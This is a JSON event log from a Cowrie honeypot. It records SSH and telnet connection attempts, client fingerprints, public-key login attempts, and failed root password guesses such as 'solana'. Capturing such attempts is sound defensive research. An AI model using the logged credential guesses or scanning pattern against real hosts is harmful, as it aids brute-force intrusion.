{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":50840,"dst_ip":"10.17.0.5","dst_port":23,"session":"d8603d72f210","protocol":"telnet","message":"New connection: 192.119.13.58:50840 (10.17.0.5:23) [session: d8603d72f210]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:07:23.146180Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":51088,"dst_ip":"10.17.0.5","dst_port":23,"session":"c97b92397823","protocol":"telnet","message":"New connection: 192.119.13.58:51088 (10.17.0.5:23) [session: c97b92397823]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:07:23.211937Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":52508,"dst_ip":"10.17.0.5","dst_port":23,"session":"bf69a1468c54","protocol":"telnet","message":"New connection: 192.119.13.58:52508 (10.17.0.5:23) [session: bf69a1468c54]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:07:23.693964Z"}
{"eventid":"cowrie.session.closed","duration":42.13635873794556,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:07:26.531255Z","src_ip":"192.119.13.58","session":"d14ca4603842","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":39372,"dst_ip":"10.17.0.5","dst_port":23,"session":"6e76618f1523","protocol":"telnet","message":"New connection: 192.119.13.58:39372 (10.17.0.5:23) [session: 6e76618f1523]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:07:28.671272Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":43332,"dst_ip":"10.17.0.5","dst_port":23,"session":"860d3f8d37a8","protocol":"telnet","message":"New connection: 192.119.13.58:43332 (10.17.0.5:23) [session: 860d3f8d37a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:07:29.983116Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":59668,"dst_ip":"10.17.0.5","dst_port":22,"session":"11317bc75f4b","protocol":"ssh","message":"New connection: 193.32.162.145:59668 (10.17.0.5:22) [session: 11317bc75f4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:07:31.247369Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:07:31.287358Z","src_ip":"193.32.162.145","session":"11317bc75f4b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:07:31.371834Z","src_ip":"193.32.162.145","session":"11317bc75f4b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"solana","message":"login attempt [root/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:07:31.756306Z","src_ip":"193.32.162.145","session":"11317bc75f4b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:07:32.859482Z","src_ip":"193.32.162.145","session":"11317bc75f4b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":60806,"dst_ip":"10.17.0.5","dst_port":23,"session":"3a6d9cac4d48","protocol":"telnet","message":"New connection: 192.119.13.58:60806 (10.17.0.5:23) [session: 3a6d9cac4d48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:07:35.117134Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.87.241.143","src_port":25586,"dst_ip":"10.17.0.5","dst_port":22,"session":"7775d5266aab","protocol":"ssh","message":"New connection: 208.87.241.143:25586 (10.17.0.5:22) [session: 7775d5266aab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:07:35.400277Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:07:35.408229Z","src_ip":"208.87.241.143","session":"7775d5266aab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:07:35.484827Z","src_ip":"208.87.241.143","session":"7775d5266aab","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a4:49:c1:98:3f:1c:dd:c2:50:5e:53:83:ce:ce:56:de","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCcjRuFPW6/RUJgTcolQRiHai7U8jYqteLRanbHgpgZC0rn40kT7dyVc9ueZJjZ6fryTgFb0CDerJqXZsSS6t+6FIlVC8/7tqTOA7UUrKzzg83Ln8THf1A5ZnFR4JW02N/B+vA5jGNohottIvtvp3J409ECwOINz7QnqhnHs9o04qwBvaSD/Qlu1b3qLXCLS+j190Ds73KKn/nmqOw+JJgv+Ous95ueE6/SFSEr4nNhpbGXVCvY0JVkpRUak3PayItdpqT5vewA2BKhzbn7VGpOPIizJFjav6Jcv2NPOd7JgiNHFf+S/uDetIDFS0MTTvoR1YZcr0qXwllh+vH6gZ1t","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a4:49:c1:98:3f:1c:dd:c2:50:5e:53:83:ce:ce:56:de","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:07:35.840300Z","src_ip":"208.87.241.143","session":"7775d5266aab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a4:49:c1:98:3f:1c:dd:c2:50:5e:53:83:ce:ce:56:de","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCcjRuFPW6/RUJgTcolQRiHai7U8jYqteLRanbHgpgZC0rn40kT7dyVc9ueZJjZ6fryTgFb0CDerJqXZsSS6t+6FIlVC8/7tqTOA7UUrKzzg83Ln8THf1A5ZnFR4JW02N/B+vA5jGNohottIvtvp3J409ECwOINz7QnqhnHs9o04qwBvaSD/Qlu1b3qLXCLS+j190Ds73KKn/nmqOw+JJgv+Ous95ueE6/SFSEr4nNhpbGXVCvY0JVkpRUak3PayItdpqT5vewA2BKhzbn7VGpOPIizJFjav6Jcv2NPOd7JgiNHFf+S/uDetIDFS0MTTvoR1YZcr0qXwllh+vH6gZ1t","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:07:35.844572Z","src_ip":"208.87.241.143","session":"7775d5266aab","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"7b:70:f5:46:2f:86:07:e9:3f:21:82:1b:36:c9:47:2d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCxTjBAoHABhNxd0zofeoXFcdk6/UEFnJOE31+wg43+Q7O4W+hvtFlg80mFta7BPSsXjfZ3BKm9hz790IdgXvyyTdWgMMaZkCeW0D8LN9WWpitlhTsnG2wIdyOmPhAVmX80wweYfrQQRSNSfpdIln6+sIbz47ZTpl8Uo0EbqsetSWXdjpm00iPTW3DZk8eUScqEmre/pQ03UXVtzW3tgOArX1+wfvJND1gNrhiHj7o2T0nym2zkL0BOdoNc9mln/3jz4c/anxjnGwmCaLP4sJO4eY3Ovz41nWwV1xUugFxbQyky5UPTyJ1p51d18QjPfxuLHGWJYmX4vTBYSjSaz/od","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 7b:70:f5:46:2f:86:07:e9:3f:21:82:1b:36:c9:47:2d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:07:35.922398Z","src_ip":"208.87.241.143","session":"7775d5266aab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"7b:70:f5:46:2f:86:07:e9:3f:21:82:1b:36:c9:47:2d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCxTjBAoHABhNxd0zofeoXFcdk6/UEFnJOE31+wg43+Q7O4W+hvtFlg80mFta7BPSsXjfZ3BKm9hz790IdgXvyyTdWgMMaZkCeW0D8LN9WWpitlhTsnG2wIdyOmPhAVmX80wweYfrQQRSNSfpdIln6+sIbz47ZTpl8Uo0EbqsetSWXdjpm00iPTW3DZk8eUScqEmre/pQ03UXVtzW3tgOArX1+wfvJND1gNrhiHj7o2T0nym2zkL0BOdoNc9mln/3jz4c/anxjnGwmCaLP4sJO4eY3Ovz41nWwV1xUugFxbQyky5UPTyJ1p51d18QjPfxuLHGWJYmX4vTBYSjSaz/od","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:07:35.926476Z","src_ip":"208.87.241.143","session":"7775d5266aab","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ae:72:d1:22:68:a3:6a:03:d8:2a:3c:95:55:ae:38:10","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDBorQ2MqPf3pLKOixK6DX7ZwoWsPeqQXF1VLDaPH8Lfm1IdKBXrSzZ0S5WSepybLrzS5bioPwvId+pk5V2Vv/Y7ysnm5lDHqCLC4eFONGyYxzgHM1sEw8dKPhfqzYMno3IYTsbtGjy6VR0y14eZA8aZp8eq1w1QAx5N8YRIiw5eh6wUYrEWmUrchFLSFQ6VNbXVkV7UEtbxRwGO7mdNNEOb9ArXLyoFomQG4zHGYny20QJ9qk9jBvK26pQdhNJ4Y6dtXmklnD39ST+eq88n+8QOzO/NC+CGkXtVA1OE1abX39bss6roZiCT2/lfAy3A0zkPNJLERmSo9j5sgM/n1//","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ae:72:d1:22:68:a3:6a:03:d8:2a:3c:95:55:ae:38:10","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:07:36.004403Z","src_ip":"208.87.241.143","session":"7775d5266aab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ae:72:d1:22:68:a3:6a:03:d8:2a:3c:95:55:ae:38:10","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDBorQ2MqPf3pLKOixK6DX7ZwoWsPeqQXF1VLDaPH8Lfm1IdKBXrSzZ0S5WSepybLrzS5bioPwvId+pk5V2Vv/Y7ysnm5lDHqCLC4eFONGyYxzgHM1sEw8dKPhfqzYMno3IYTsbtGjy6VR0y14eZA8aZp8eq1w1QAx5N8YRIiw5eh6wUYrEWmUrchFLSFQ6VNbXVkV7UEtbxRwGO7mdNNEOb9ArXLyoFomQG4zHGYny20QJ9qk9jBvK26pQdhNJ4Y6dtXmklnD39ST+eq88n+8QOzO/NC+CGkXtVA1OE1abX39bss6roZiCT2/lfAy3A0zkPNJLERmSo9j5sgM/n1//","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:07:36.008443Z","src_ip":"208.87.241.143","session":"7775d5266aab","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"77:46:85:a7:8c:db:ab:06:a1:37:52:f6:9d:2a:b0:c9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCwHCHciFYUqXuwaWkxqvU0TZjAs+GAr3eDlSiYNRDNFJptaPaXoMt7KX/GM0htW2ms9bM86leBwST+GDGf2oDZf25bFx3cPydLPXYUMA9MGxteBP2pEAjv4RJU8Hb7BjdBHIud0Z6vHi3tn5yWN4OL9D7aMVYDkk44J+OROZYG+KKoPYcInmgb7P3stJ+sM/01hadmpfCV4ns27Q4KlV3PnMC1m/dnNo6evKjVOcn3Yn5kMi3Im9poXElEyLBd3EhmM+nL6igas8GXBNrQ+G4+lItwRyXhksHq3nG9DPVauJJ2eA3ujQyzrdCeip2QzCL/l949v5L+OjzBLDfIVZvB8BlERjGwm9eTCPxNxskIumf2IubgEt47EfxV/aQWQrDpKiu4c4pXGU4pXYvyWD8UjVIvktHGqj6HAQc/5LBtJQQkeqUDdTAH7DTajROmNPRIfHi+IEl0gntPKaRp0mAxyhvR0/o03iwG93+8vB84SuBIksI5cBGQDoTAvMPfBqVWuxdNHWwO/1q0nd2B7jTaONPnTQuKaFSe4UpnOp0CIP7FNLcP09Zh9UK5oMzdILwV4MNvMHhZFx/JeMttKiD3SPDc72sgumjeJbXw8ZRmGh01IOD1i1TXVhPVDn/rez4kdOs90vb2gnlP9IsBHTIn+3JU9W7kAiwz3wQ555LXpw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 77:46:85:a7:8c:db:ab:06:a1:37:52:f6:9d:2a:b0:c9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:07:36.088451Z","src_ip":"208.87.241.143","session":"7775d5266aab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"77:46:85:a7:8c:db:ab:06:a1:37:52:f6:9d:2a:b0:c9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCwHCHciFYUqXuwaWkxqvU0TZjAs+GAr3eDlSiYNRDNFJptaPaXoMt7KX/GM0htW2ms9bM86leBwST+GDGf2oDZf25bFx3cPydLPXYUMA9MGxteBP2pEAjv4RJU8Hb7BjdBHIud0Z6vHi3tn5yWN4OL9D7aMVYDkk44J+OROZYG+KKoPYcInmgb7P3stJ+sM/01hadmpfCV4ns27Q4KlV3PnMC1m/dnNo6evKjVOcn3Yn5kMi3Im9poXElEyLBd3EhmM+nL6igas8GXBNrQ+G4+lItwRyXhksHq3nG9DPVauJJ2eA3ujQyzrdCeip2QzCL/l949v5L+OjzBLDfIVZvB8BlERjGwm9eTCPxNxskIumf2IubgEt47EfxV/aQWQrDpKiu4c4pXGU4pXYvyWD8UjVIvktHGqj6HAQc/5LBtJQQkeqUDdTAH7DTajROmNPRIfHi+IEl0gntPKaRp0mAxyhvR0/o03iwG93+8vB84SuBIksI5cBGQDoTAvMPfBqVWuxdNHWwO/1q0nd2B7jTaONPnTQuKaFSe4UpnOp0CIP7FNLcP09Zh9UK5oMzdILwV4MNvMHhZFx/JeMttKiD3SPDc72sgumjeJbXw8ZRmGh01IOD1i1TXVhPVDn/rez4kdOs90vb2gnlP9IsBHTIn+3JU9W7kAiwz3wQ555LXpw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:07:36.092780Z","src_ip":"208.87.241.143","session":"7775d5266aab","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a1:ea:80:dc:e1:99:d0:03:32:47:73:57:e2:0f:27:c3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAyhdB3cjNql971zelgpJIG+LrqS/D2f1KGhiOBF9KeZAs76IZv8WDYvuhvWarYWV2+O1KtbLQOanPS5eyneNNV6mbTLWmOYaA9Z+rgFw/PUnkub52xhusDPtTFLQmj2wnjcI55mb2gNqN5OMmp/2/PQs/bkMLk7pueTEFY0fFc11SCY4vOmZINpx6U0uwehPlYVSLb+1Tm72mBTTWkkZ33SNoOMUHe0eoJ1iM1RpPfCQIbqF5wsbmDU5kTONdlnjUH1utjtInCazvR2kqchYMD9U7Pm0TWWu9y253Y7AMaCYt2fA0a8cPf753+qcDEgUg0GYcmSUgtiCiOfpSmal8vQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a1:ea:80:dc:e1:99:d0:03:32:47:73:57:e2:0f:27:c3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:07:36.170431Z","src_ip":"208.87.241.143","session":"7775d5266aab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a1:ea:80:dc:e1:99:d0:03:32:47:73:57:e2:0f:27:c3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAyhdB3cjNql971zelgpJIG+LrqS/D2f1KGhiOBF9KeZAs76IZv8WDYvuhvWarYWV2+O1KtbLQOanPS5eyneNNV6mbTLWmOYaA9Z+rgFw/PUnkub52xhusDPtTFLQmj2wnjcI55mb2gNqN5OMmp/2/PQs/bkMLk7pueTEFY0fFc11SCY4vOmZINpx6U0uwehPlYVSLb+1Tm72mBTTWkkZ33SNoOMUHe0eoJ1iM1RpPfCQIbqF5wsbmDU5kTONdlnjUH1utjtInCazvR2kqchYMD9U7Pm0TWWu9y253Y7AMaCYt2fA0a8cPf753+qcDEgUg0GYcmSUgtiCiOfpSmal8vQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:07:36.173595Z","src_ip":"208.87.241.143","session":"7775d5266aab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:07:36.248978Z","src_ip":"208.87.241.143","session":"7775d5266aab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":37048,"dst_ip":"10.17.0.5","dst_port":23,"session":"949ccf377282","protocol":"telnet","message":"New connection: 192.119.13.58:37048 (10.17.0.5:23) [session: 949ccf377282]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:07:36.323991Z"}
{"eventid":"cowrie.session.closed","duration":40.40583777427673,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:07:36.889030Z","src_ip":"192.119.13.58","session":"033523dbf7bb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"201.249.192.30","src_port":30806,"dst_ip":"10.17.0.5","dst_port":22,"session":"f0cafc1350d3","protocol":"ssh","message":"New connection: 201.249.192.30:30806 (10.17.0.5:22) [session: f0cafc1350d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:07:38.927165Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:07:38.931523Z","src_ip":"201.249.192.30","session":"f0cafc1350d3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:07:39.004380Z","src_ip":"201.249.192.30","session":"f0cafc1350d3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"fln75g","message":"login attempt [root/fln75g] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:07:40.500442Z","src_ip":"201.249.192.30","session":"f0cafc1350d3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":51130,"dst_ip":"10.17.0.5","dst_port":23,"session":"8e653fd7f78e","protocol":"telnet","message":"New connection: 192.119.13.58:51130 (10.17.0.5:23) [session: 8e653fd7f78e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:07:40.691005Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":54088,"dst_ip":"10.17.0.5","dst_port":23,"session":"d94a4dd6c168","protocol":"telnet","message":"New connection: 192.119.13.58:54088 (10.17.0.5:23) [session: d94a4dd6c168]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:07:41.583879Z"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:07:41.615119Z","src_ip":"201.249.192.30","session":"f0cafc1350d3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.195.16.41","src_port":59443,"dst_ip":"159.203.135.109","dst_port":23,"session":"d2db08e074be","protocol":"telnet","message":"New connection: 186.195.16.41:59443 (159.203.135.109:23) [session: d2db08e074be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:07:43.152096Z"}
{"eventid":"cowrie.session.closed","duration":47.13087177276611,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:07:43.810325Z","src_ip":"192.119.13.58","session":"717940ca583f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"115.68.226.124","src_port":15051,"dst_ip":"10.17.0.5","dst_port":22,"session":"444484c6b8a8","protocol":"ssh","message":"New connection: 115.68.226.124:15051 (10.17.0.5:22) [session: 444484c6b8a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:07:48.453425Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:07:48.457967Z","src_ip":"115.68.226.124","session":"444484c6b8a8","protocol":"ssh"}
